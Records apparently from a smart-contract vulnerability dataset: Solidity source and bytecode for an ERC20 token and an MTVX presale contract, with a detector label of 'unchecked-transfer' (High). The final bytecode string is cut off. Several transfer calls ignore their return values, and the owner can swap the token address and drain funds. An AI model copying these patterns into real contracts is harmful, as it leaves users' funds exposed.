function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _to != address(this));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, bytes calldata _extraData) external;
}
contract xSTAKEfinance is StandardToken, Ownable {
string public constant name = "xSTAKE.Finance";
string public constant symbol = "$STKF";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000 * (10 ** uint256(decimals));
// Constructors
constructor () public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0), msg.sender, initialSupply);
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData)
external
returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, _extraData);
return true;
}
}
function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner {
ERC20(_tokenAddress).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063d493b9ac11610066578063d493b9ac1461057a578063d73dd623146105e8578063dd62ed3e1461064e578063f2fde38b146106c657610100565b80638da5cb5b1461038c57806395d89b41146103d6578063a9059cbb14610459578063cae9ca51146104bf57610100565b8063313ce567116100d3578063313ce56714610292578063378dc3dc146102b057806366188463146102ce57806370a082311461033457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61070a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610743565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b61029a610b5d565b6040518082815260200191505060405180910390f35b6102b8610b62565b6040518082815260200191505060405180910390f35b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6f565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e00565b6040518082815260200191505060405180910390f35b610394610e49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103de610e6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a56004803603604081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b604051808215151515815260200191505060405180910390f35b610560600480360360608110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561051c57600080fd5b82018360208201111561052e57600080fd5b8035906020019184600183028401116401000000008311171561055057600080fd5b90919293919293905050506110b4565b604051808215151515815260200191505060405180910390f35b6105e66004803603606081101561059057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111b0565b005b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d2565b604051808215151515815260200191505060405180910390f35b6106b06004803603604081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ce565b6040518082815260200191505060405180910390f35b610708600480360360208110156106dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b005b6040518060400160405280600e81526020017f785354414b452e46696e616e636500000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108a557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108ae57600080fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061098183600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6c83826116a990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a620f42400281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c80576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d14565b610c9383826116a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f2453544b4600000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f1257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610f1b57600080fd5b610f6d82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808590506110c48686610743565b156111a6578073ffffffffffffffffffffffffffffffffffffffff1663a2d57853338787876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050600060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b5050505060019150506111a8565b505b949350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050506040513d60208110156112bb57600080fd5b810190808051906020019092919050505050505050565b600061136382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115e957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156116b557fe5b818303905092915050565b6000808284019050838110156116d257fe5b809150509291505056fea265627a7a72315820f1ad3dcf87ffd0f501e92d8d68eca63571f6bcfcc3d997f641c07f7093c0ae9264736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,802 |
0x476E8483E9446c622c1ff05CD9954d00d944dD6c
|
/**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
pragma solidity 0.8.9;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MTVXTokenPresaleBridge is Ownable {
mapping (address => bool) public walletWhitelisted;
mapping (address => uint256) public purchasedAmount;
event TokensBought(uint256 tokenAmount, uint256 indexed ethAmount, address indexed sender);
uint256 public tokensPerEth = 13333333*1e18;
uint256 public maxEthAmount = 0.4 ether;
uint256 public minEthAmount = 0.1 ether;
uint256 public totalEthCap = 15 ether;
uint256 public totalPurchasedAmount;
bool public isInitialized = false;
bool public isWhitelistPresale = false;
address public tokenAddress;
constructor() {
address token = address(0x3505355aBC42683ed3114e3773190B646B77a1ba); // MTVX Token
tokenAddress = token;
}
receive() external payable {
buyTokens();
}
function buyTokens() payable public {
require(isInitialized, "Private sale not active");
if(isWhitelistPresale){
require(walletWhitelisted[msg.sender], "User is not whitelisted");
}
require(msg.value > 0, "Must send ETH to get tokens");
require(msg.value % minEthAmount == 0, "Must buy in increments of Minimum ETH Amount (0.1)");
require(msg.value + purchasedAmount[msg.sender] <= maxEthAmount, "Cannot buy more than MaxETH Amount");
require(msg.value + totalPurchasedAmount <= totalEthCap, "No more tokens available for presale");
purchasedAmount[msg.sender] += msg.value;
totalPurchasedAmount += msg.value;
uint256 tokenAmount = (msg.value * tokensPerEth)/1e18;
IERC20 token = IERC20(tokenAddress);
require(token.balanceOf(address(this)) >= tokenAmount, "Not enough tokens on contract to send");
token.transfer(msg.sender, tokenAmount);
emit TokensBought(tokenAmount, msg.value, msg.sender);
}
function initialize() external onlyOwner {
require(!isInitialized, "May not initialize contract again");
// Exclude the pair from fees so that users don't get taxed when selling.
isInitialized = true;
}
// only use in case of emergency
function emergencyTokenAddressUpdate(address newToken) external onlyOwner{
tokenAddress = newToken;
}
function updateMinEthAmount(uint256 newAmt) external onlyOwner{
require(!isInitialized, "can't change the rules after presale starts");
minEthAmount = newAmt;
require(maxEthAmount >= minEthAmount, "can't set the max lower than the min");
}
function updateMaxEthAmount(uint256 newAmt) external onlyOwner{
require(!isInitialized, "can't change the rules after presale starts");
maxEthAmount = newAmt;
require(maxEthAmount >= minEthAmount, "can't set the max lower than the min");
}
function updateTotalCap(uint256 newCap) external onlyOwner{
require(!isInitialized, "can't change the rules after presale starts");
totalEthCap = newCap;
}
function setWhiteListPresale(bool isWhitelist) external onlyOwner {
isWhitelistPresale = isWhitelist;
}
// only use in case of emergency or after presale is over
function emergencyWithdrawTokens() external onlyOwner {
IERC20(tokenAddress).transfer(msg.sender, IERC20(tokenAddress).balanceOf(address(this)));
}
function whitelistWallet(address wallet, bool value) public onlyOwner {
walletWhitelisted[wallet] = value;
}
function whitelistWallets(address[] memory wallets) public onlyOwner {
for(uint256 i = 0; i < wallets.length; i++){
whitelistWallet(wallets[i], true);
}
}
// owner can withdraw ETH after people get tokens
function withdrawETH() external onlyOwner {
(bool success,) = msg.sender.call{value: address(this).balance}("");
require(success, "Withdrawal was not successful");
}
}
|
0x60806040526004361061014f5760003560e01c80637156ec7b116100b6578063c91ad9491161006f578063c91ad949146103ac578063cbdd69b5146103cc578063d0febe4c146103e2578063e086e5ec146103ea578063f2fde38b146103ff578063f87028b31461041f57600080fd5b80637156ec7b146102f35780637fb6085f146103135780638129fc1c146103295780638da5cb5b1461033e5780639d76ea5814610370578063bedac1001461039657600080fd5b806344c4dcc11161010857806344c4dcc11461023c5780636135af2a14610269578063668c116b1461028957806369b372f1146102a95780636a018466146102be578063715018a6146102de57600080fd5b80630f32c6fb1461016357806319fc5b881461018c5780631a61985f146101a25780632d0a913e146101e257806334e2c76014610202578063392e53cd1461022257600080fd5b3661015e5761015c61043e565b005b600080fd5b34801561016f57600080fd5b5061017960065481565b6040519081526020015b60405180910390f35b34801561019857600080fd5b5061017960055481565b3480156101ae57600080fd5b506101d26101bd366004610f46565b60016020526000908152604090205460ff1681565b6040519015158152602001610183565b3480156101ee57600080fd5b5061015c6101fd366004610f7e565b6108a8565b34801561020e57600080fd5b5061015c61021d366004611051565b610918565b34801561022e57600080fd5b506008546101d29060ff1681565b34801561024857600080fd5b50610179610257366004610f46565b60026020526000908152604090205481565b34801561027557600080fd5b5061015c61028436600461106e565b61095c565b34801561029557600080fd5b5061015c6102a43660046110a5565b6109b1565b3480156102b557600080fd5b5061015c610a28565b3480156102ca57600080fd5b5061015c6102d93660046110a5565b610b5a565b3480156102ea57600080fd5b5061015c610bac565b3480156102ff57600080fd5b5061015c61030e366004610f46565b610c20565b34801561031f57600080fd5b5061017960045481565b34801561033557600080fd5b5061015c610c74565b34801561034a57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610183565b34801561037c57600080fd5b50600854610358906201000090046001600160a01b031681565b3480156103a257600080fd5b5061017960075481565b3480156103b857600080fd5b5061015c6103c73660046110a5565b610d0a565b3480156103d857600080fd5b5061017960035481565b61015c61043e565b3480156103f657600080fd5b5061015c610d7e565b34801561040b57600080fd5b5061015c61041a366004610f46565b610e40565b34801561042b57600080fd5b506008546101d290610100900460ff1681565b60085460ff166104955760405162461bcd60e51b815260206004820152601760248201527f507269766174652073616c65206e6f742061637469766500000000000000000060448201526064015b60405180910390fd5b600854610100900460ff1615610504573360009081526001602052604090205460ff166105045760405162461bcd60e51b815260206004820152601760248201527f55736572206973206e6f742077686974656c6973746564000000000000000000604482015260640161048c565b600034116105545760405162461bcd60e51b815260206004820152601b60248201527f4d7573742073656e642045544820746f2067657420746f6b656e730000000000604482015260640161048c565b60055461056190346110d4565b156105c95760405162461bcd60e51b815260206004820152603260248201527f4d7573742062757920696e20696e6372656d656e7473206f66204d696e696d756044820152716d2045544820416d6f756e742028302e312960701b606482015260840161048c565b600454336000908152600260205260409020546105e690346110fe565b111561063f5760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420627579206d6f7265207468616e204d617845544820416d6f756044820152611b9d60f21b606482015260840161048c565b60065460075461064f90346110fe565b11156106a95760405162461bcd60e51b8152602060048201526024808201527f4e6f206d6f726520746f6b656e7320617661696c61626c6520666f722070726560448201526373616c6560e01b606482015260840161048c565b33600090815260026020526040812080543492906106c89084906110fe565b9250508190555034600760008282546106e191906110fe565b9091555050600354600090670de0b6b3a7640000906107009034611116565b61070a9190611135565b6008546040516370a0823160e01b81523060048201529192506201000090046001600160a01b031690829082906370a082319060240160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611149565b10156107ec5760405162461bcd60e51b815260206004820152602560248201527f4e6f7420656e6f75676820746f6b656e73206f6e20636f6e747261637420746f604482015264081cd95b9960da1b606482015260840161048c565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0382169063a9059cbb90604401602060405180830381600087803b15801561083457600080fd5b505af1158015610848573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086c9190611162565b50604051828152339034907fbbf80c42c358eb37b815c747f36853be301e08325584261ceb02b03425bb24f19060200160405180910390a35050565b6000546001600160a01b031633146108d25760405162461bcd60e51b815260040161048c9061117f565b60005b8151811015610914576109028282815181106108f3576108f36111b4565b6020026020010151600161095c565b8061090c816111ca565b9150506108d5565b5050565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161048c9061117f565b600880549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146109865760405162461bcd60e51b815260040161048c9061117f565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161048c9061117f565b60085460ff16156109fe5760405162461bcd60e51b815260040161048c906111e5565b6004819055600554811015610a255760405162461bcd60e51b815260040161048c90611230565b50565b6000546001600160a01b03163314610a525760405162461bcd60e51b815260040161048c9061117f565b6008546040516370a0823160e01b8152306004820152620100009091046001600160a01b03169063a9059cbb90339083906370a082319060240160206040518083038186803b158015610aa457600080fd5b505afa158015610ab8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adc9190611149565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610b2257600080fd5b505af1158015610b36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a259190611162565b6000546001600160a01b03163314610b845760405162461bcd60e51b815260040161048c9061117f565b60085460ff1615610ba75760405162461bcd60e51b815260040161048c906111e5565b600655565b6000546001600160a01b03163314610bd65760405162461bcd60e51b815260040161048c9061117f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c4a5760405162461bcd60e51b815260040161048c9061117f565b600880546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b815260040161048c9061117f565b60085460ff1615610cfb5760405162461bcd60e51b815260206004820152602160248201527f4d6179206e6f7420696e697469616c697a6520636f6e747261637420616761696044820152603760f91b606482015260840161048c565b6008805460ff19166001179055565b6000546001600160a01b03163314610d345760405162461bcd60e51b815260040161048c9061117f565b60085460ff1615610d575760405162461bcd60e51b815260040161048c906111e5565b6005819055600454811115610a255760405162461bcd60e51b815260040161048c90611230565b6000546001600160a01b03163314610da85760405162461bcd60e51b815260040161048c9061117f565b604051600090339047908381818185875af1925050503d8060008114610dea576040519150601f19603f3d011682016040523d82523d6000602084013e610def565b606091505b5050905080610a255760405162461bcd60e51b815260206004820152601d60248201527f5769746864726177616c20776173206e6f74207375636365737366756c000000604482015260640161048c565b6000546001600160a01b03163314610e6a5760405162461bcd60e51b815260040161048c9061117f565b6001600160a01b038116610ecf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161048c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b0381168114610f4157600080fd5b919050565b600060208284031215610f5857600080fd5b610f6182610f2a565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610f9157600080fd5b823567ffffffffffffffff80821115610fa957600080fd5b818501915085601f830112610fbd57600080fd5b813581811115610fcf57610fcf610f68565b8060051b604051601f19603f83011681018181108582111715610ff457610ff4610f68565b60405291825284820192508381018501918883111561101257600080fd5b938501935b828510156110375761102885610f2a565b84529385019392850192611017565b98975050505050505050565b8015158114610a2557600080fd5b60006020828403121561106357600080fd5b8135610f6181611043565b6000806040838503121561108157600080fd5b61108a83610f2a565b9150602083013561109a81611043565b809150509250929050565b6000602082840312156110b757600080fd5b5035919050565b634e487b7160e01b600052601260045260246000fd5b6000826110e3576110e36110be565b500690565b634e487b7160e01b600052601160045260246000fd5b60008219821115611111576111116110e8565b500190565b600081600019048